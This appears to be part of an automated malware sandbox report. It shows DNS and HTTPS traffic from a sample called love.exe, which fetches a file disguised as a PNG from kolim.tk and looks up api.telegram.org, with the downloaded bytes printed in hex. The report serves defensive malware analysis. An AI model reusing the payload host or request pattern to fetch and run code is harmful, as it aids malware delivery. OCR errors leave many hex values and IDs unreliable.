Jun 23, 2022 8.8.8.8 192.168.2.3 Oxde9a No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.374425888 CEST low.com (0x0001)
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Jun 23, 2022 8.8.8.8 192.168.2.3 Oxde9a No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.374425888 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxde9a No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.374425888 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxde9a No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.374425888 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x704c No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.424812078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x704c No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.424812078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x704c No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.424812078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x704c No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.424812078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxb2cf No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.484519958 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxb2cf No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.484519958 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxb2cf No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.484519958 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxb2cf No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.484519958 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x73de No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.543736935 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x73de No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.543736935 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x73de No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.543736935 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x73de No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.543736935 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxled6 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.590348005 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxled6 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.590348005 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxled6 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.590348005 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxled6 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.590348005 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Ox7ad6 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.634360075 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Ox7ad6 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.634360075 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Ox7ad6 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.634360075 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Ox7ad6 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.634360075 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe89a No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.681865931 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe89a No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.681865931 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe89a No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.681865931 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe89a No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.681865931 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x9d4c No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.750592947 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x9d4c No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.750592947 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x9d4c No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.750592947 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x9d4c No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.750592947 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2058 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.793528080 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2058 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.793528080 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2058 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.793528080 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2058 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.793528080 CEST low.com (0x0001)
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Jun 23, 2022 8.8.8.8 192.168.2.3 0x207f No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.851989031 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x207f No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.851989031 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x207f No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.851989031 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x207f No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.851989031 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxed13 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.900568962 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxed13 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.900568962 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxed13 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.900568962 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxed13 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.900568962 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4fbb No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:13.955962896 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4fbb No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:13.955962896 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4fbb No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:13.955962896 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4fbb No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:13.955962896 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8le No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.002399921 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8le No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.002399921 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8le No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.002399921 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8le No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.002399921 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1b95 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.050718069 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1b95 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.050718069 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1b95 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.050718069 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1b95 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.050718069 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe854 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.091975927 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe854 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.091975927 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe854 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.091975927 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xe854 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.091975927 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxdedc No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.146729946 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxdedc No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.146729946 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxdedc No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.146729946 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxdedc No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.146729946 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x5565 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.198113918 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x5565 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.198113918 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x5565 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.198113918 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x5565 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.198113918 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 OxbeOb No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.251101017 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 OxbeOb No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.251101017 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 OxbeOb No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.251101017 CEST low.com (0x0001)
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Jun 23, 2022 8.8.8.8 192.168.2.3 OxbeOb No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.251101017 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4265 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.293498039 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4265 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.293498039 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4265 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.293498039 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x4265 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.293498039 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x3cf2 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.338994026 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x3cf2 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.338994026 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x3cf2 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.338994026 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x3cf2 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.338994026 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxeeb No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.393057108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxeeb No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.393057108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxee6 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.393057108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 Oxee6 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.393057108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8e56 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.456834078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8e56 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.456834078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8e56 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.456834078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x8e56 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.456834078 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x7bd2 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.507103920 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x7bd2 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.507103920 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x7bd2 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.507103920 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x7bd2 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.507103920 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1128 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.557131052 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1128 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.557131052 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1128 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.557131052 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x1128 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.557131052 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2664 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.608426094 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2664 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.608426094 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2664 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.608426094 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x2664 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.608426094 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x40a0 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.651554108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x40a0 No error (0) stackoverf 151.101.65.69 A (IP address) IN
18:20:14.651554108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x40a0 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.651554108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0x40a0 No error (0) stackoverf 151.101.1.69 A (IP address) IN
18:20:14.651554108 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xc432 No error (0) stackoverf 151.101.193.69 A (IP address) IN
18:20:14.704858065 CEST low.com (0x0001)
Jun 23, 2022 8.8.8.8 192.168.2.3 0xc432 No error (0) stackoverf 151.101.129.69 A (IP address) IN
18:20:14.704858065 CEST low.com (0x0001)
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Timestamp Source IP Dest IP
Jun 23, 2022 8.8.8.8 192.168.2.3
18:20:14.704858065 CEST

Jun 23, 2022 8.8.8.8 192.168.2.3
18:20:14.704858065 CEST

Jun 23, 2022 8.8.8.8 192.168.2.3
18:20:15.239311934 CEST

Jun 23, 2022 8.8.8.8 192.168.2.3

18:21:03.359747887 CEST

HTTP Request Dependency Graph

e kolim.tk

e api.telegram.org

HTTPS Proxied Packets
Session ID Source IP Source Port
0 192.168.2.3 49747
Timestamp Ly Direction
transferred
2022-06-23 16:19:24 UTC 0 ouT
2022-06-23 16:19:24 UTC 0 IN
2022-06-23 16:19:24 UTC 0 IN
2022-06-23 16:19:24 UTC 8 IN
2022-06-23 16:19:24 UTC 15 IN
2022-06-23 16:19:24 UTC 23 IN
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Trans ID Reply Code Name CName Address Type Class
0xc432 No error (0) stackoverf 151.101.1.69 A (IP address) IN
low.com (0x0001)
0xc432 No error (0) stackoverf 151.101.65.69 A (IP address) IN
low.com (0x0001)
0x97c1 No error (0) kolim.tk 162.240.68.177 A (IP address) IN
(0x0001)
0xc065 No error (0) api.telegram.org 149.154.167.220 A (IP address) IN

(0x0001)

Destination
Port

Destination IP Process

162.240.68.177 443 C:\Users\user\Desktop\love.exe

Data

GET /love_Wvkjhzse.png HTTP/1.1
Host: kolim.tk
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 23 Jun 2022 16:19:22 GMT

Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close

Last-Modified: Thu, 23 Jun 2022 12:12:53 GMT
Accept-Ranges: bytes

Content-Length: 821768

Content-Type: image/png

Data Raw: 48 b1 d6 5b 55 4e e7 4a 8b 1c 43 ef ed 65 59 ce e0 06 dd 7d 85 91 32 ec 41 ¢6 95 dc 9b d5 93 b4 cd b9 a8 88
cd f3 b5 fa cd b9 a8 88 cd f3 b5 fa cd b9 a8 88 cd 3 b5 fa 7d d8 b7 60 9f 42 77 5b 9c b5 d5 b9 63 bb 03 92 08 a7 50 60 b2
7aa2211de28007c7 b6 le 85 1b 74 d1 11 69 33 81 b1 d1 f6 7e bb e8 10 0d 8c 05 b8 f4 83 {7 85 15 a2 bl 6¢ a7 45 da
46 ad 39 8b 15 ae a4 ad 8e fb b9 69 9f d2 fe 70 7a 17 27 d1 41 d7 43 53 bf a9 {7 cf 60 9c 10 89 ab 39 0f e4 d1 41 6f c9 72
74 5598 d0 96 d7 01 91 5e 21 25 33 ef 9a 6a 15 ea ce 6a 88 9f f1 f9 03 cd 4f a9 32 96 bf c5 85 25 f7 d6 db b5 96 6 94 52
19 d6 db b5 96 f6 94 52 19 b9 bb 89 a0 80 ff e1 05 17 3c fe af 45 ac 16 fd 52 e6 fb a7 ba a3 f6 al 52 e6 fb a7 ba a3 f6 al
53 de a3 42 dc be 0a 83 cd b9 a8 88 cd f3 b5

Data Ascii: HlUNJCeY}2A} Bw[cP z!ti3~IEF9ipz'ACS 9A0rtUn9%3jj02%RR<ERRSB

Data Raw: 36 45 51 ff 8b 04 20 ee Of 4c 9a al 55 50 1b 78 e8 89 9a 8 68 fc 94 e3 1b 74 c4 3a ac 59 c6 2a c6 a7 47 4e 9¢c
dc e8 5a 06 94 76 56 5d 12 7a 1f 98 46 3a f5 30 f2 71 39 3 63 b0 fd eb de 09 29 e9 38 5d 30 8e 05 bb 30 bl 6d 10 4b 12
83 df f5 8c 3¢ 55 7e 66 b3 4e a8 f1 53 b0 6d ef c9 aa 6a 48 ef 58 6d 13 d9 ae a3 57 ef d2 e4 1d c4 b3 05 f3 9d 03 53 45 81
10 1f e8 4e 9c 8a b2 86 8a c9 07 7b 99 de 52 06 66 66 c2 80 bd 37 a9 e4 e6 83 b0 58 ea f4 89 08 b5 30 e2 6¢ be b6 57
81 d7 b9 c2 32 7b 3a 9c 1a 90 c7 Of 6e 12 23 09 2c a3 40 69 89 a6 2c 98 d6 le e4 2f 51 cc 8d de 85 85 83 ac c3 3e 98 57
64 fa ea 80 a3 5d 30 8e 05 bb 30 b1 6d 10 4b 12 83 df f5 8¢ 3¢ 05 57 85 6b c9 29 4b 90 ca e8 5¢c 8f 6a 46 76 fe cf 81 92
60 9d 35 09 d6 e0 d6 b3 ea Of 7d 6b 7a 53 bb d7 1d ce

Data Ascii: 6EQ LUPxht:Y*GNZvV]zF:0q9c)8]00mK<U~fNSmjHXmWSEN{Rff7X0IW2{:n#,@i,/Q>Wd]00mK<WK)K\JFv'5}
kzS

Data Raw: f4 64 ac 1a f4 9d d4 5a 13 e0 23 6a 5b 82 f1 b5 8e 25 18 eb 77 ae fc fe al 31 62 fb 38 b5 96 88 f9 4a de c8 56
94 b8 8e f2 94 59 48 6¢ cc 54 92 93 64 6f d0 82 31 65 1b 3d 5d 1b 30 85 5e 33 ab 63 35 a4 23 b6 68 8b ea 33 06 c4 bf Ob
7a 65 dc 94 02 22 94 3e 8d 55 6a 85 9a 40 d0 2b 1c 43 0a 7d 99 el 75 d8 f9 1b e9 41 80 26 ff fc 23 d7 91 7 81 cf 18 7e
5 26 8f Ob 5e fe c8 ac 59 f3 b8 a5 02 c2 f9 dd 88 04 ad 1b 62 0d 21 ee 37 a2 16 01 d8 8551 73 cd d8 11 e8 d9 e7 79 4a
bf 95 b9 9e 3e 56 5f c8 54 a2 fc 4d 8d 28 32 2e c4 8¢ 0d d0 14 16 30 67 c8 62 a5 3c 29 aa 8a 06 32 b6 2b 98 96 73 c8 91
a2 c5 ef 7 33 01 99 16 bc 4f 02 3¢ 54 1b 92 9f 2d 27 a8 51 72 86 35 a7 85 dc 32 60 de 6e af 06 c6 8a fc 83 cf 9a fa e3 a3
72 e5 e0 7d 4b 5f ce 26 2¢ 0d d1 99 1f b6 47 80 91

Data Ascii: dZ#j[%w1b8JVYHITdole=]0"3c5#h3ze">Uj@+CIuA&H#~&"Yb!7QsyJ>V_TM(2.0gb<)2+s30<T-'Qr52'nr}K_&,G

Data Raw: b1 6d 40 b4 ae b1 9a 29 d6 40 df 15 d5 Oa ae 24 94 b8 26 df 00 3a 69 74 39 54 82 29 92 f5 9c fc 90 ca c8 el
48 5f 6b 82 €9 47 ca 67 cb 50 e2 01 ¢6 60 5¢ d5 93 d8 ef 3a 6a da be b4 fb 7d bd f6 bb 1b 3d 45 05 5e 9e 47 63 24 ac 3d
e8ee 70 3fal 58 68 37 1c 1f 39 18 b0 e2 b2 5c af d4 1a 31 fe 4d 78 ¢8 8¢ 10 50 68 53 55 97 Ob 87 4d f0 8c 15 7b 0f d6
9c b5 c3 be f6 ae c1 c1 02 25 b3 b0 b3 29 el c1 4c 9f 20 d3 b4 28 3d 16 83 b6 9d 39 b6 e8 37 cb 60 30 e7 b0 f6 34 38 19
703587 38 da 99 al 37 e6 ce el d3 b5 86 d1 79 5b d6 ff 7f 51 33 4f 26 97 c¢8 5a d1 07 f6 ¢3 3c 65 9b 99 74 2c fb d5 85 af
b4 b2 5a 2a b0 0a 5d 90 6¢ 6e 3a 2d 66 38 d4 2f 36 3e 17 a5 82 c¢3 3c 65 9b 99 74 2c fb 44 e3 b9 a3 d7 99 Oc d5 97 8f 96
03 14 0c 79 0d 04 c0 82 4f 43 d9 66 dc fc a3 72 52 ab

Data Ascii: m@)@%$&:it9T)H_KGgP \:;j}=E*"Gc$=p?Xh79\1IMxPhSUM{%)L (=97°048p587y[Q30&Z<et,Z*]In:-f8/6><et
,DyOCfrR
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kBytes

Timestamp transferred Direction
2022-06-23 16:19:25 UTC 31 IN
2022-06-23 16:19:25 UTC 39 IN
2022-06-23 16:19:25 UTC 47 IN
2022-06-23 16:19:25 UTC 54 IN
2022-06-23 16:19:25 UTC 62 IN
2022-06-23 16:19:25 UTC 70 IN
2022-06-23 16:19:25 UTC 78 IN
2022-06-23 16:19:25 UTC 86 IN
2022-06-23 16:19:25 UTC 94 IN
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Data

Data Raw: 25 1f 36 67 be cf 33 bb 94 f6 ca 53 b4 fe eb d6 b4 eb 78 10 45 48 4b 47 bd 83 e6 7d e5 c3 5b 3a fa ef 99 25 2d
52 65 fd 35 e6 4d 58 ed 1d 4a 32 32 59 34 29 fe 00 e8 fe 44 72 56 5d b0 89 fd 3f c3 04 dc d3 dd el 4f 4e 61 d6 7a 75 75
b8 f0 68 da 52 c6 d3 a0 55 6d db fc 81 2a 62 a2 e8 c5 e6 72 9d 47 e0 c8 01 e2 be 83 b2 c6 d3 a0 55 6d db fc 81 2a 62 a2
e8c5e6729d 12 e8 78 6d f5 49 92 f7 62 f9 2¢ 55 Oc 19 ac d2 85 9e 58 39 40 c6 3b 6e 92 1d c1 71 a6 86 25 9f 9c bf 1d
27 14 75 bd af 85 9e 58 39 40 c6 3b 6e b7 19 fc c1 ae 1d b8 5b cc cc ¢7 37 Ob 7e 11 e2 58 16 33 f1 Oc 92 aa Oe 79 dO f2
9b 36 69 ce 58 b0 c5 67 83 3e d3 11 cd 8a b2 a5 a3 c8 54 de fO 77 99 6a 67 26 ce 1a 97 02 3f 66 38 aa da b8 12 a3 3d
5e b4 75 ¢8 78 b5 6a 5¢ da b6 fO 8e c2 02 f9 9d d4 64 d6

Data Ascii: %693SXEHKG}[:%-Re5MXJ22Y4)DrV]?0NazuuhRUm*brGUm*brxmlb,UX9@;nq%'uX9@;n[7~X3y6i
Xg>Twjg&?f8="uxj\d

Data Raw: c7 6d 95 8b 14 fd 3e d9 74 6a ef 3e 5a 75 35 a9 d3 c2 a5 b6 2b Oc 76 el a5 71 72 ba 60 cb b9 2a a3 48 e7 28
99f3 al ba 67 74 c4 Oa bd e2 40 1a 12 f9 69 24 54 1c 28 86 95 08 94 c4 4f a4 6a bc c6 92 cc eb ab 53 bf 99 5a 1c 41 cd
e3 bc {7 d0 7c 1c f6 €3 54 6¢ e7 Oe 72 26 ef 64 ec 1d 15 d8 ce 16 c4 4d c4 b4 60 30 36 24 5b 48 02 2e 8d d6 ec 21 88 df
62 82 67 99 27 cd 4b c9 33 03 fd af d5 2e 59 00 a3 fa 39 bc f8 70 cb a4 c5 2d ec 36 2a 7d 6f 97 6f 7d dc e0 9c bb 47 09
8a 55 91 3b Of df d4 Ob 4d ed 1f 66 7a cf da d3 2c Oa f5 63 29 33 d6 0d e6 f4 63 Ob e2 43 d4 13 f7 el 59 aa d3 b6 eb 28
ae 1cal 8ael 74 b8 74 f5 c4 94 70 d3 24 03 1f d6 Oe 69 cO 3f a4 97 8b be 29 e8 f4 37 df f3 aa 69 43 1d 13 af ea 29 93 78
95 14 17 3d 4f c4 0d 87 2b 38 d7 6f 1a 6f bd 54 c8 6f

Data Ascii: m>tj>Zu5+vgr*H(gt@i$T(OjSZA|TIr&dM 06$[H.!bg'K3.Y9p-6*}00}GU;Mfz,c)3cCY(ttp$i?) 7iC)x=0+8o0To

Data Raw: 7b 2e 87 d9 ee 9a 28 50 5¢ c2 ea 5a 04 76 f1 18 54 €9 a4 52 db 33 74 48 fd a9 a4 96 63 8b 54 78 94 83 a3 16
01 05 ca 8c a0 98 02 06 45 e9 74 a3 70 50 19 77 b5 8c 61 3 63 04 09 1c 8d f9 22 d5 3b d6 c1 4d 7c 24 32 d6 44 7b fO b8
0Oa bb 39 ba 34 €9 a5 7a 06 Oc 88 29 24 9f 87 fc 86 c3 1a 60 a5 d8 24 7b d1 88 d8 cd a9 09 c5 4c 03 4d 89 98 69 e 85 9e
58 39 40 c6 3b 6e c9 52 26 83 e4 3b e0 Ob 91 e4 4c fb eb ¢8 d5 05 5a 32 da bd Ob 70 5d 9c 7e 3e 53 aa fd a8 d5 28 16 c6
77 3fd5 74 7e de 43 9f d8 98 08 6d 11 18 1d a9 26 3c 57 fc 8a be f0 4a b9 9f 72 Oe al bc 48 19 e6 2e Oe 6f 46 7c bl 42
87 06 38 98 da 05 ff 87 a6 80 d0 8a bd 51 55 c9 51 Oc fe d3 c6 68 00 3f f5 57 ee 30 d1 al 3e 25 07 db c1 cd b5 22 c7 34
59 9f 25 ac d6 17 a8 8¢ 2d ca 73 00 b9 db 1c al bl a2 cc

Data Ascii: {.(P\ZvTR3tHcTxEtpPwac";M|$2D{942)$ ${LMiX9@;nR&;LZ2p]~>S(w?t~Cm&<WJIrH.oF|B8BQUQh?W0>%"4Y
%-s

Data Raw: 5e al 9c 81 al 47 d2 78 b2 57 99 46 90 ba 24 76 74 1f fe 11 c3 cb ce 84 35 9b 05 4b 87 2c 44 6e e6 64 d2 2a
